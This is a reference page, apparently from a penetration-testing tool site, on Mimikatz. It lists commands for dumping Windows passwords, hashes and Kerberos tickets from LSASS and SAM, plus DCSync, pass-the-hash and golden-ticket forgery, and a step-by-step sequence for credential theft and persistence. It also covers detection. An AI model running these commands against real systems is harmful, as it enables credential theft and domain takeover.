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Mimikatz

Post Exploitation

Advancedhigh risk

Mimikatz is a powerful post-exploitation tool that exposes vulnerabilities in Windows authentication protection mechanisms, capable of extracting plaintexts passwords, hashes, PINs, and kerberos tickets from memory.

Installation

sudo apt install mimikatz

Basic Syntax

mimikatz # <command>

Quick Facts

Full Name
Mimikatz
License
Open Source
Language
C
Interface
CLI
Category
Credential Extraction
Requires
Administrator / SYSTEM

Tool Overview

Mimikatz is the definitive tool for Windows credential extraction and Kerberos manipulation. It exposes the inherent weaknesses in Windows authentication by demonstrating how credentials can be extracted from memory.

From plaintext passwords to forged Kerberos tickets, Mimikatz provides red teams with comprehensive post-exploitation capabilities for lateral movement and privilege escalation in Windows environments.

Common Commands

privilege::debugEnable SeDebugPrivilege, required before most credential-dumping commands
sekurlsa::logonpasswordsDump plaintext passwords, hashes and Kerberos tickets for logged-on users from LSASS
sekurlsa::logonpasswords fullDump all credential providers from LSASS with full detail
token::elevateImpersonate a SYSTEM token to gain the privileges needed for SAM/LSA access
lsadump::samDump the local SAM database (NTLM hashes of local accounts)
lsadump::secretsDump LSA secrets (service account passwords, cached data) from the registry
lsadump::lsa /injectInject into LSASS to dump all domain account hashes on a DC
lsadump::lsa /patchPatch LSASS to dump account NTLM hashes (works on a DC)
lsadump::dcsync /domain:example.com /user:krbtgtUse the DRS protocol to pull the krbtgt hash from a DC without touching LSASS
sekurlsa::pth /user:<USER> /domain:example.com /ntlm:<HASH> /run:cmd.exePass-the-Hash: spawn a process authenticated with an NTLM hash
sekurlsa::tickets /exportExtract all Kerberos tickets from LSASS and save them as .kirbi files
kerberos::ptt ticket.kirbiPass-the-Ticket: inject a Kerberos ticket into the current session
kerberos::golden /user:Administrator /domain:example.com /sid:S-1-5-21-... /krbtgt:<HASH> /pttForge a Golden Ticket from the krbtgt hash and inject it
kerberos::list /exportList and export Kerberos tickets from the current session's cache
sekurlsa::ekeysExtract Kerberos encryption keys (AES/DES/RC4) from LSASS

Step-by-Step Guide

  1. 1Secure an administrative session on the target machine
  2. 2Launch the application using those elevated rights
  3. 3Grant yourself debugging permissions within the console
  4. 4Extract authentication material from the memory space
  5. 5Leverage the retrieved hashes to authenticate elsewhere
  6. 6Forge Kerberos tickets to maintain long-term access

Use Cases

Password Extraction

Dump cleartext passwords from LSASS memory.

Pass-the-Hash

Authenticate using NTLM hashes without cracking.

Kerberos Attacks

Forge golden/silver tickets for persistence.

SAM Dump

Extract local account hashes from SAM database.

Key Features

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Frequently Asked Questions

What is Mimikatz used for?

Mimikatz is used for extracting Windows authentication credentials from memory, including plaintext passwords, NTLM hashes, Kerberos tickets, and PINs. It demonstrates the dangers of cleartext credential storage in Windows.

Does Mimikatz require administrator access?

Yes, most Mimikatz functions require elevated privileges (SYSTEM or local admin). The privilege::debug command enables the SeDebugPrivilege necessary for accessing LSASS process memory.

What is a golden ticket attack?

A golden ticket attack forges a Kerberos TGT (Ticket Granting Ticket) using the KRBTGT account hash. This provides persistent, unlimited access to any resource in the domain, bypassing password changes.

How can I detect Mimikatz usage?

Mimikatz can be detected by monitoring Event ID 4688 for process creation of mimikatz.exe, Sysmon for LSASS process access (Event ID 10), and by enabling Windows Defender Credential Guard which protects LSASS from memory dumping.

Tags

#post-exploitation#credentials#windows-security#lsass

Ethical Usage Notice

This tool is designed for authorized security testing, educational purposes, and legitimate network administration only. Unauthorized access to computer systems is illegal.